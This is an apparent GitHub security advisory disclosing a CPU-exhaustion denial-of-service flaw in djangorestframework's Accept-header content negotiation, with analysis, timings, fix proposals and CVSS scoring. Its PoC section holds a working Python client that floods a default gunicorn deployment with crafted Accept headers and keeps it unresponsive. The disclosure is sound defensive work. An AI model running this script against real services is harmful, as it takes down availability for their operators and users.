Skip to content

Accept header with many large quoted parameters burns ~19s of CPU per request in content negotiation

High
browniebroke published GHSA-33wh-fxxf-88vv Oct 6, 2026

Package

pip djangorestframework (pip)

Affected versions

<= 3.18.0

Patched versions

3.18.2

Description

Summary

DRF's content negotiation parses each Accept token several times per request and never limits the number of tokens or their total size. Each parse ends up in Django's parse_header_parameters, which takes quadratic time when a quoted parameter value is packed with semicolons. On my machine a single GET with a 780KB Accept header made of 96 such tokens kept one gunicorn worker busy for 18.87 seconds (Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0, Python 3.13, Docker on macOS). The header is syntactically valid, fits inside gunicorn's default header limits, and needs no authentication. Two concurrent requests, which is one per sync worker, made a default two worker deployment stop answering for my whole 40 second test window. It recovered half a second after I stopped sending.

Details

What happens

get_accept_list() splits the Accept header on commas with no cap on token count or total size, at rest_framework/negotiation.py:96-97.

For every token, select_renderer() calls media_type_matches() once per renderer, and each call builds fresh _MediaType objects for both sides, at rest_framework/negotiation.py:53-56 and rest_framework/utils/mediatypes.py:22-23. _MediaType.__init__ calls django.utils.http.parse_header_parameters unconditionally, at rest_framework/utils/mediatypes.py:47.

When nothing matches, DRF raises NotAcceptable (406). Rendering that error response also needs a renderer, so finalize_response() runs the entire negotiation a second time through perform_content_negotiation(force=True), at rest_framework/views.py:434-437.

With the default two renderers this comes to about six parses per Accept token per request. I confirmed the count by instrumenting _MediaType with a counter: six per token, three from the normal pass and three from the forced re-negotiation.

The quadratic part is on the Django side. parse_header_parameters splits parameters with _parseparam, which handles quoted values by recounting the quote characters from the start of the string for every candidate separator, the s.count('"', 0, end) calls in django/utils/http.py. A quoted value holding k semicolons costs roughly k rescans over k characters, so a single ~8KB value takes about 31ms per parse here.

Numbers from my runs, measured as utime+stime deltas of the server process:

one token, ~9KB: 230ms server CPU
24 tokens, 216KB: 5.07s on runserver, which has no per field limit
48 tokens, 432KB: 10.08s on runserver
96 tokens, 780KB: 18.87s under gunicorn defaults

Wall time matched CPU time in every run, so this is pure CPU work. RSS stayed flat at 57MB throughout, this is a time attack and not a memory one.

A few details that matter for reproducing it:

Django rejects a single media type string longer than 10,000 chars (MAX_HEADER_LENGTH), so each token has to stay just under that. Going over gives you a ValueError and a 500, which is a different and much weaker problem.

gunicorn defaults are limit_request_field_size 8190 and limit_request_fields 100, so the working shape is 96 separate Accept fields with one ~8.1KB token each. That puts the single request ceiling near 19s, below the default 30s worker timeout, so one request alone does not get a stock gunicorn worker killed by the arbiter. It does not need to. Each request pins one sync worker for its full duration, so on two workers, two held connections wedge the service.

order_by_precedence collects tokens into a set, so identical tokens collapse and the cost mostly disappears. Each token needs its own parameter name, x0=, x1=, x2= and so on.

Where a fix could go, either of these alone would be enough:

Parse each Accept token once per request and reuse the result in the matching loop and in the 406 re-negotiation.

Put an aggregate budget in get_accept_list(), say 8KB total or 64 tokens, and treat anything past it as not acceptable.

The quadratic behavior itself lives in Django's parser, but DRF is the one calling it six times per token with no cap on how many tokens there are, so both fixes look like DRF changes to me.

PoC

Verified end to end on Docker Desktop for macOS (Apple Silicon, 8 cores), python:3.13-slim image, Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0. Nothing was configured beyond defaults.

Minimal target, any default DRF project works, this is the one I used.

requirements.txt:

django==6.1
djangorestframework==3.18.0
gunicorn==26.0.0

pocproj/settings.py:

SECRET_KEY = 'poc'; DEBUG = False; ALLOWED_HOSTS = ['*']
INSTALLED_APPS = ['django.contrib.contenttypes', 'django.contrib.auth', 'rest_framework']
ROOT_URLCONF = 'pocproj.urls'; WSGI_APPLICATION = 'pocproj.wsgi.application'
DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': ':memory:'}}
USE_TZ = True

pocproj/api.py:

from rest_framework.views import APIView
from rest_framework.response import Response

class Items(APIView):
    def get(self, request):
        return Response([{'id': 1, 'name': 'ok'}])

pocproj/urls.py:

from django.urls import path
from .api import Items
urlpatterns = [path('items/', Items.as_view())]

Start it:

python manage.py migrate --noinput
gunicorn pocproj.wsgi:application --bind 0.0.0.0:8000 --workers 2

Client, stdlib only, run with python3:

import http.client, threading, time

TARGET = ('localhost', 8000)

def fields(n=96, semis=8100):
    # 8100 semicolons keeps each field under gunicorn's limit_request_field_size
    # (8190) and each token under Django's MAX_HEADER_LENGTH (10000). Distinct
    # x{i} names stop order_by_precedence from deduplicating the tokens.
    return [f'text/x-poc{i}; x{i}="' + ';'*semis + '"' for i in range(n)]

def burn():
    c = http.client.HTTPConnection(*TARGET, timeout=120)
    c.putrequest('GET', '/items/', skip_accept_encoding=True)
    for f in fields():
        c.putheader('Accept', f)
    c.endheaders()
    r = c.getresponse(); r.read(); c.close()
    return r.status

t = time.perf_counter()
print('single:', burn(), f'{time.perf_counter()-t:.2f}s')
# printed: single: 406 18.87s, baseline GET on the same endpoint is 0.03s

stop = False

def loop():
    while not stop:
        try:
            burn()
        except Exception:
            pass

ts = [threading.Thread(target=loop, daemon=True) for _ in range(2)]
for x in ts:
    x.start()
for _ in range(9):
    time.sleep(2)
    try:
        c = http.client.HTTPConnection(*TARGET, timeout=3)
        c.request('GET', '/items/', headers={'Accept': 'application/json'})
        r = c.getresponse(); r.read(); c.close()
        print('health: 200')
    except Exception as e:
        print('health: DEAD', type(e).__name__)
stop = True

# printed over 40s: health DEAD at t=2, 7, 12, 22, 27, 32, 37, 42, so 8 of 9
# probes hit the 3s timeout, and one 200 slipped through at t=17 while a worker
# was between requests. after stop, one more probe timed out while the in-flight
# request finished, then 200 in 0.57s.

Impact

Availability only, no confidentiality or integrity impact. Any endpoint the attacker can reach is affected, public ones with no authentication at all. On a stock gunicorn setup with two sync workers, two held connections are enough to stop the service for as long as the attacker keeps them, and one request alone costs about 19 seconds of one core. Recovery is immediate once the attack stops, there is no lasting damage.

The requests are valid HTTP and get answered with 406, so they show up in access logs, but nothing about them is malformed, so filters that look for bad requests will not catch them. DRF throttling runs before content negotiation and would cut the rate if configured, but the default configuration ships with no throttle classes, and each request that does get through still costs the full 19 seconds.

The negotiation structure, meaning the uncapped token split, the per-renderer re-parsing, and the 406 re-negotiation, has been in place since 2012. The call switched to parse_header_parameters in July 2022 in #8556. I verified the behavior on 3.18.0.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. Learn more on MITRE.

Credits